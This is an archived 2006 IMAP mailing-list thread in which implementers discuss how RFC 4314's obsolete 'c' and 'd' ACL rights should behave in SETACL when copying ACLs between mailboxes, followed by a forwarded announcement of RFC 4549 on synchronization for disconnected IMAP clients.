Organization: Carnegie Mellon University
To: Arnt Gulbrandsen <[email-masked]>
CC: [email-masked], Philip Guenther <[email-masked]>
Subject: Re: a defect in RIGHTS (RFC 4314)
Sender: [email-masked]

Arnt Gulbrandsen wrote:
> 
> Thanks. Next:
> 
> If you use imapsync (or any of the 123456789 other tools to do that job) 
> to move a bunch of mailboxes from server A to server B, and on server A, 
> 'c' is 'kx' and a mailbox has 'k' but not 'x', what's most desirable:
> 
>  - on server B, all of 'c' is granted
>  - on server B, if 'k' is in 'c', just 'k' is granted
>  - on server B, if 'k' is not in 'c' (ha ha), all of 'c' is granted

The correct/optimal answer depends entirely on whether the client and/or 
server B is RFC 4314-aware.

We are struggling with this right now at CMU, because we might be 
upgrading servers in our Murder (cluster) to RFC 4314-aware code one at 
a time.

Phil brings up a good point in his original post, but as he points out, 
solving one problem creates another.  So far in our discussions at CMU, 
this seems to be a catch-22.

-- 
Kenneth Murchison
Systems Programmer
Project Cyrus Developer/Maintainer
Carnegie Mellon University

Date: Thu, 3 Aug 2006 17:10:17 +0200
From: Arnt Gulbrandsen <[email-masked]>
To: [email-masked]
Subject: Re: a defect in RIGHTS (RFC 4314)
Cc: Philip Guenther <[email-masked]>
Sender: [email-masked]

Philip Guenther writes:
> Hmm, on second thought, how about this change instead: if the client 
> sends a rights list that contains *ANY* of the new rights (kxte) then 
> the server MUST ignore both the 'c' and 'd' obsolete rights, if 
> present.

That breaks the case where an old client issues GETACL, sees no 'd', 
appends one and issues SETACL, doesn't it?

Arnt

Date: Thu, 3 Aug 2006 16:32:49 +0200
From: Arnt Gulbrandsen <[email-masked]>
To: [email-masked]
Subject: Re: a defect in RIGHTS (RFC 4314)
Cc: Philip Guenther <[email-masked]>
Sender: [email-masked]

Thanks. Next:

If you use imapsync (or any of the 123456789 other tools to do that job) 
to move a bunch of mailboxes from server A to server B, and on server 
A, 'c' is 'kx' and a mailbox has 'k' but not 'x', what's most 
desirable:

  - on server B, all of 'c' is granted
  - on server B, if 'k' is in 'c', just 'k' is granted
  - on server B, if 'k' is not in 'c' (ha ha), all of 'c' is granted

My gut feeling is that the middle alternative is likely to provide 
higher-fidelity migration than the first... so I guess I like your 
proposed change.

Arnt

Date: Thu, 3 Aug 2006 06:51:38 -0700
From: Philip Guenther <[email-masked]>
To: Arnt Gulbrandsen <[email-masked]>
cc: [email-masked]
Subject: Re: a defect in RIGHTS (RFC 4314)
Sender: [email-masked]

On Thu, 3 Aug 2006, Arnt Gulbrandsen wrote:
> What's the advantage of the language as it stands?

The current language is trivial to implement; this change requires 
slightly more effort when converting a rights list into a bitmask or 
similar.

> Why is it as it is?

It's quite clear that, by themselves, 'd' and 'c' need to expand to their 
constituent rights.  I don't think we really considered the behavior when 
they are presented along with one or more of their constituent rights. 
At least I don't recall it being directly addressed in the discussions.

> And in which case can this make a difference? I can't think of any case where 
> issuing GETACL and then SETACL for the same server would be broken, given 
> that on any one implementation, "d" is an alias for the same right.

I originally hit this with a pair of scripts for backing up and restoring 
mailboxes.  The scripts want to preserve the ACL on the mailbox, so the 
backup script does (the equivalent of) a GETACL on the mailbox and saves 
the authid/rights pairs in the backup.  The restore script would then do 
(the equivalent of) a series of SETACL commands to recreate the ACL. 
That doesn't work when somone has some but not all of the "create" or 
"delete" rights on the mailbox.

For example, there's a shared mailbox on the server to which I have the 
'k' right but not the 'x' right.  (The Sendmail IMAP server maps 'c' to 
'kx' and 'd' to 'te'.)  A GETACL shows this:

3 getacl "Shared Folders/lists"
* ACL "Shared Folders/lists" guenther lrskc anyone lrs
3 OK Completed

If you try to set the mailbox's ACL by simply copying those strings into 
SETACL, you'll give me both the 'k' right and_ 'x' right instead of just 
the 'k' right:

4 create test
4 OK Completed
5 setacl test guenther lrskc
5 OK Completed
6 getacl test
* ACL test guenther lrskxc
6 OK Completed

A 'c' in an ACL or MYRIGHTS response means
 	"at least one 'create' right is (also) present"
A 'c' in a SETACL request means
 	"act like _all_ the 'create' rights are present"

Philip Guenther

Date: Thu, 3 Aug 2006 15:18:45 +0200
From: Arnt Gulbrandsen <[email-masked]>
To: [email-masked]
Subject: Re: a defect in RIGHTS (RFC 4314)
Cc: Philip Guenther <[email-masked]>
Sender: [email-masked]

What's the advantage of the language as it stands? Why is it as it is?

And in which case can this make a difference? I can't think of any case 
where issuing GETACL and then SETACL for the same server would be 
broken, given that on any one implementation, "d" is an alias for the 
same right.

If the client issues GETACL on one server and feeds that into SETACL on 
another... hm...

Arnt

Date: Thu, 3 Aug 2006 05:50:15 -0700
From: Philip Guenther <[email-masked]>
To: [email-masked]
Subject: a defect in RIGHTS (RFC 4314)
Sender: [email-masked]

Having now worked with my implemention of the RIGHTS extension in 
Sendmail's IMAP server for several months, I believe we made a mistake in 
the interaction of the obsolete rights with SETACL.  How they're returned 
in responses by the server seems fine, but as it stands, a client which 
doesn't understand the RIGHTS extension can't reliably copy ACLs between 
mailboxes and extra work is required of a client that does.

Here's what I think we should have done: in section 2.1.1 of RFC 4314, the 
third paragraph should have read thusly:

 	If a client includes the "d" right in a rights list
 	argument that doesn't contain any of the members of
 	the "delete" right, then it MUST be treated as if the
 	client had included every member of the "delete" right.
 	If any of the "delete" member rights is present in the
 	rights list argument, then the presence or absence of
 	the "d" right MUST NOT have any effect.

...and similar for the seventh paragraph describing "c" and the "create" 
right set.

That change would let clients copy rights lists directly.  As is, if you 
want to give mailbox A the same ACL as mailbox B then you have to remove 
the 'c' and 'd' rights from each rights list in the ACL response...but 
only if the RIGHTS extension is present.

For example, consider the rights list "lrstd", as returned by GETACL or 
MYRIGHTS.  In order to reproduce that set of rights elsewhere, you have to 
pass SETACL the list "lrst".  If you pass "lrstd" then you'll give the 
user the additional right of 'e' and maybe 'x' (depending on the server). 
With the change described above, the server would ignore the 'd' in that 
list because one of the "delete" rights ('t') is also present.

The one case I can think of where this change would have an undesirable 
effect is if a RIGHTS-unaware client tries to add or remove the 'd' or 'c' 
right from an ACL entry by doing a GETACL, adding or removing the 'd' or 
'c' right from what is returned, and then passing that to SETACL. 
However, the ACL extension has always provided a direct way to do that 
using the '+' and '-' prefixes for rights lists; such usage would not be 
affected by the above change.  This command
 	tag SETACL mailbox authid -d
would still remove all the "delete" rights for 'authid' on 'mailbox'.

I've actually changed the the administration tools for the Sendmail mail 
store to follow the behavior above, partly because it was easier than 
fixing several of the scripts built on those tools, but also because it 
lets an unknown number of our customer's scripts keep working without 
change.  I would _like_ to change our IMAP server to do the same; what do 
people think about revising RIGHTS to make this change?

Philip Guenther

Date: Wed, 02 Aug 2006 19:34:34 +0100
From: Alexey Melnikov <[email-masked]>
To: IMAP Mailing List <[email-masked]>
CC: IMAP Extensions WG <[email-masked]>
Subject: For authors of disconnected IMAP clients: RFC 4549
Sender: [email-masked]

--------------000709050209030909060606
Content-type: text/plain; charset="us-ascii"

I would like to solicit attention of disconnected mail clients (e.g. 
Thunderbird) authors to RFC 4549.

Thanks,
Alexey

--------------000709050209030909060606
Content-type: message/rfc822; name="RFC 4549 on Synchronization Operations for Disconnected IMAP4	Clients"
Content-transfer-encoding: 7bit
Content-Disposition: inline;
 filename="RFC 4549 on Synchronization Operations for Disconnected IMAP4	Clients"

Date: Thu, 15 Jun 2006 17:44:28 -0700
To: [email-masked], [email-masked]
From: [email-masked]
Cc: [email-masked]
Subject: RFC 4549 on Synchronization Operations for Disconnected IMAP4
	Clients

A new Request for Comments is now available in online RFC libraries.

        RFC 4549

        Title:      Synchronization Operations for Disconnected IMAP4 
                    Clients 
        Author:     A. Melnikov, Ed.
        Status:     Informational
        Date:       June 2006
        Mailbox:    [email-masked]
        Pages:      35
        Characters: 75417
        Updates/Obsoletes/SeeAlso:   None

        I-D Tag:    draft-melnikov-imap-disc-06.txt

        URL:        http://www.rfc-editor.org/rfc/rfc4549.txt

This document attempts to address some of the issues involved in building
a disconnected IMAP4 client.  In particular, it deals with the
issues of what might be called the "driver" portion of the synchronization
tool: the portion of the code responsible for issuing the correct set
of IMAP4 commands to synchronize the disconnected client in the way
that is most likely to make the human who uses the disconnected
client happy.

This note describes different strategies that can be used by disconnected
clients and shows how to use IMAP protocol in order to minimize the
time of the synchronization process.

This note also lists IMAP extensions that a server should implement in
order to provide better synchronization facilities to disconnected clients.  This memo provides information for the Internet community.

INFORMATIONAL: This memo provides information for the Internet community. 
It does not specify an Internet standard of any kind. Distribution
of this memo is unlimited.

This announcement is sent to the IETF list and the RFC-DIST list.
Requests to be added to or deleted from the IETF distribution list
should be sent to [email-masked].  Requests to be
added to or deleted from the RFC-DIST distribution list should
be sent to [email-masked].

Details on obtaining RFCs via FTP or EMAIL may be obtained by sending
an EMAIL message to [email-masked] with the message body 

help: ways_to_get_rfcs. For example:

        To: [email-masked]
        Subject: getting rfcs

        help: ways_to_get_rfcs

Requests for special distribution should be addressed to either the
author of the RFC in question, or to [email-masked].  Unless
specifically noted otherwise on the RFC itself, all RFCs are for
unlimited distribution.

Submissions for Requests for Comments should be sent to
[email-masked].  Please consult RFC 2223, Instructions to RFC
Authors, for further information.

Joyce K. Reynolds and Sandy Ginoza
USC/Information Sciences Institute

...

_______________________________________________
IETF-Announce mailing list
[email-masked]
https://www1.ietf.org/mailman/listinfo/ietf-announce

--------------000709050209030909060606--